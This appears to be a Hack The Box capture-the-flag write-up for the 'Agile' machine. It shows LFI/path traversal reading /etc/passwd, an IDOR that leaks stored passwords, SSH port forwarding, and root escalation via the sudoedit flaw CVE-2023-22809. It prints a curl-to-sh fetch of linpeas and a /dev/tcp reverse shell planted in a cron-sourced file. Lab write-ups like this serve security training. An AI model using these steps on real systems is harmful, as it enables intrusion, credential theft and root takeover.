HTB Agile Write-Up

Pawned: 10/03/23
Tags: LFI, Path Traversal, LinPEAS, IDOR, Port Forwarding, sudoedit Vulnerability

Enumeration
First, as always, we use an nmap version and script scan to start off the enumeration.

┌──(vin36㉿kaliVM)-[~/Desktop/HTB]
└─$ nmap -sV -sC 10.10.11.203
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-07 13:35 AEDT
Nmap scan report for 10.10.11.203
Host is up (0.078s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f4bcee21d71f1aa26572212d5ba6f700 (ECDSA)
|_ 256 65c1480d88cbb975a02ca5e6377e5106 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://superpass.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.79 seconds

We can see that port 80 is open, so we can navigate to http://10.10.11.203. This IP address tries to redirect us to http://superpass.htb. However, since the box is locally hosted, there is no DNS resolver, so the redirect fails. We can manually resolve the IP address by doing to following:

┌──(vin36㉿kaliVM)-[~/Desktop/HTB]
└─$ echo "10.10.11.203 superpass.htb" | sudo tee -a /etc/hosts
10.10.11.203 superpass.htb

This allows us to visit the webpage where have options to log in and register.

After trying, and failing, to gain access to an account, we'll register to see what we can find. Here, we can see a "vault" where we can store and export credentials. Let's do just that to see how the web app works.

Analysing the downloaded csv file doesn't lead us anywhere. So let's pivot and capture requests with BurpSuite.
Doing so, we see that the export request URL takes the form of this: http://superpass.htb/download?fn=admin_export_c524a69b55.csv.
This appears to be vulnerable to LFI, so let's try it. If we navigate to this URL: http://superpass.htb/download?fn=nonexistent.file, we get the following error page where we see that the file is fetched from the server's "/tmp" directory.


Initial Foothold
A good resource detailing LFI and path traversal can be found on HackTricks.xyz.
Through this exploit, we can get the "passwd" file using this URL: http://superpass.htb/download?fn=../etc/passwd. Inside the "passwd" file, we see a few users of interest:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
SNIP
corum:x:1000:1000:corum:/home/corum:/bin/bash dnsmasq:x:108:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin mysql:x:109:112:MySQL Server,,,:/nonexistent:/bin/false runner:x:1001:1001::/app/app-testing/:/bin/sh edwards:x:1002:1002::/home/edwards:/bin/bash dev_admin:x:1003:1003::/home/dev_admin:/bin/bash _laurel:x:999:999::/var/log/laurel:/bin/false

This by itself is not very helpful to us at the moment, so let's see what other files we can find.
From our nmap scan, we know that the server runs "nginx", so we'll grab the error log using this URL: http://superpass.htb/download?fn=../var/log/nginx/error.log.
In the error log, we see this file path repeated over and over: /app/app/superpass/.
After some digging, we find an interesting Python file called "vault_views.py". It can be fetched using this URL: http://superpass.htb/download?fn=../app/app/superpass/views/vault_views.py.
This file appears to be part of the web app's source code. In it, we see this excerpt:

@blueprint.get('/vault/row/<id>')
@response(template_file='vault/partials/password_row.html')
@login_required
def get_row(id):
    password = password_service.get_password_by_id(id, current_user.id)

    return {"p": password}

This seems to imply that if we navigate to http://superpass.htb/vault/row/<id>, we can get a password from the user identified by <id>. This is known as an indirect object reference (IDOR) and we can try to exploit this by trying different ID's to see if we can see that user's passwords.
Starting from <id> = 0, we can try single-digit numbers until coming across credentials at <id> = 3: hackthebox.com 0xdf 762b430d32eea2f12970
These credentials are interesting but not helpful, so we'll keep trying. At <id> = 8, we finally find something promising: agile corum 5db7caa1d13cc37c9fc2
"Agile" is, of course, the name of the box and "corum" is one of the users we found earlier in the "passwd" file. Thus, using these credentials, we can ssh into the server:

┌──(vin36㉿kaliVM)-[~/Desktop/HTB]
└─$ ssh corum@10.10.11.203
corum@10.10.11.203's password: 5db7caa1d13cc37c9fc2
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-60-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.

Last login: Sun Mar 12 08:16:38 2023 from 10.10.14.52
corum@agile:~$

Now that we are logged in as "corum" and in their home directory, we can get the user flag. Note that the flags get randomized periodically.

corum@agile:~$ cat user.txt
3f7b359982748ee1ef25c8712863e37d

Privilege Escalation
As always, to kick off our privilege escalation attempts, let's use sudo -l:

corum@agile:~$ sudo -l
[sudo] password for corum: 5db7caa1d13cc37c9fc2
Sorry, user corum may not run sudo on localhost.

Unfortunately, we can't run sudo so we'll see what we can find using LinPEAS.
To do so, we need to first start a local web server on our attacking machine (make sure it's in the same directory as a copy of linpeas.sh):

┌──(vin36㉿kaliVM)-[~/Desktop/HTB]
└─$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Then, on the target machine, we'll use the following command to download and run linpeas.sh from our server (with [RHOST] changed to our attacking machine's IP):

corum@agile:~$ curl http://[RHOST]:8000/linpeas.sh | sh
<loads$ curl http://10.10.14.94:8000/linpeas.sh | sh
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
4 808k 4 39750 0 0 13571 0 0:01:01 0:00:02 0:00:59 13566
SNIP

LinPEAS gives us a massive amount of information. To be transparent, I tried many avenues of attack before finding one that worked.
In the LinPEAS report, under the section for PHP exec extensions, we see this:

lrwxrwxrwx 1 root root 47 Jan 25 00:25 /etc/nginx/sites-enabled/superpass-test.nginx -> /etc/nginx/sites-available/superpass-test.nginx server {
    listen 127.0.0.1:80;
    server_name test.superpass.htb;
    location /static {
        alias /app/app-testing/superpass/static;
        expires 365d;
    }
    location / {
        include uwsgi_params;
        proxy_pass http://127.0.0.1:5555;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-Protocol $scheme;
    }
}    

Here, we find that there is a port, 5555, used for testing. Gaining access to this may allow us to poke around a site reserved for testing.
First, we'll need to forward the port using the following command on our attacking machine:

┌──(vin36㉿kaliVM)-[~/Desktop/HTB]
└─$ ssh -L 5555:127.0.0.1:5555 corum@10.10.11.203 -fN
corum@10.10.11.203's password: 5db7caa1d13cc37c9fc2

Then, on our browser, we can access the test site through the forwarded port: http://localhost:5555.
At first, the test site appears to be the exact same as the deployed site. However, if we register an account and use the same IDOR exploit as before, we can gain access to more credentials. This time, we'll use this URL: http://localhost:5555/vault/row/1.
On this page, we see "edwards'" credentials: agile edwards d07867c6267dcb5df0af.
Using this, we can ssh back into the machine, but now with higher privileges:

┌──(vin36㉿kaliVM)-[~/Desktop/HTB]
└─$ ssh edwards@10.10.11.203
edwards@10.10.11.203's password: d07867c6267dcb5df0af
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-60-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy


The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.

Last login: Sun Mar 12 07:42:15 2023 from 10.10.14.72
edwards@agile:~$

As "edwards", we can now run sudo -l:

edwards@agile:~$ sudo -l
Matching Defaults entries for edwards on agile:
 env_reset, mail_badpass,  secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User edwards may run the following commands on agile:
 (dev_admin : dev_admin) sudoedit /app/config_test.json
 (dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt

The above output means that we can run sudoedit and edit "config_test.json" and "creds.txt". However, say if we were to append a payload to these files, it wouldn't mean anything since these files don't get executed. Even so, we may still be able to exploit this permission. Let's find out the version of sudo running on this machine:

edwards@agile:~$ sudo --version
Sudo version 1.9.9
Sudoers policy plugin version 1.9.9
Sudoers file grammar version 48
Sudoers I/O plugin version 1.9.9
Sudoers audit plugin version 1.9.9

After researching this version, we find that there is a fairly recent exploit that we can use to escalate our privileges: CVE-2023-22809. This vulnerability allows us to edit files other than those we are explicitly permitted to.
To exploit this, we have to find a file that gets run (by a cron job) as "root", and that is writable by "dev_admin":

edwards@agile:~$ sudo crontab -u root -l
SHELL=/bin/bash
BASH_ENV=/etc/bash.bashrc
# m h dom mon dow command
#* * * * * curl -sI http://test.superpass.htb | grep -q "HTTP/1.1 200 OK" || service superpass-tests restart
#* * * * * curl -sI http://superpass.htb | grep -q "HTTP/1.1 200 OK" || service superpass restart
* * * * * source /app/venv/bin/activate
*/3 * * * * /root/clean.sh
*/2 * * * * /bin/rm /tmp/*
*/2 * * * * /usr/bin/mysql superpasstest < /root/testdb.sql
*/15 * * * * /usr/bin/mysql superpass < /root/superpass.sql
edwards@agile:~$ ls -l /app/venv/bin/activate
-rw-rw-r-- 1 root dev_admin 1976 Mar 12 08:54 /app/venv/bin/activate

From the above commands, we see that "/app/venv/bin/activate" fits the aforementioned prerequisites. It also has the added benefit of being run very often.
Now we can use the exploit and gain root access.
First, we need to append "/app/venv/bin/activate" to the list of files we want to edit, and then call sudoedit on a file we're allowed to edit. This is the exploit laid out in CVE-2023-22809.

edwards@agile:~$ export EDITOR="vim -- /app/venv/bin/activate"
edwards@agile:~$ sudo -u dev_admin sudoedit /app/config_test.json

This opens up -fN"/app/venv/bin/activate" in vim where we can add the following reverse shell payload to the top of the file:

bash -c 'bash -i >& /dev/tcp/[RHOST]/[RPORT] 0>&1'

To edit the file in vim, press i to enter INSERT mode. Next insert the payload, then press ESC and type in :wq to write and quit. We'll need to write and quit twice due to the nature of the exploit.
Remember to change [RHOST] and [RPORT] to your attacking machine's IP and chosen listening port, respectively. Let's go with [RPORT] = 8443 and start an nc listener on our attacking machine:

┌──(vin36㉿kaliVM)-[~/Desktop/HTB]
└─$ nc -lvnp 8443
listening on [any] 8443 ...

Now we just need to wait for the cron job to run our payload...
After a connection is established, we can finally obtain the root flag:

┌──(vin36㉿kaliVM)-[~/Desktop/HTB]
└─$ nc -lvnp 8443
listening on [any] 8443 ...
connect to [10.10.14.94] from (UNKNOWN) [10.10.11.203] 39582
bash: cannot set terminal process group (69673): Inappropriate ioctl for device
bash: no job control in this shell
bash: connect: Connection refused
bash: line 1: /dev/tcp/10.10.14.94/8443: Connection refused
root@agile:~# cat root.txt
cat root.txt
ba3d01d54622f80214c2888d5ca2549d

Thus, we have successfully hacked the box. However, now we need to clean up after ourselves by deleting the reverse shell payload that we left in "/app/config_test.json":

root@agile:~# nano /app/config_test.json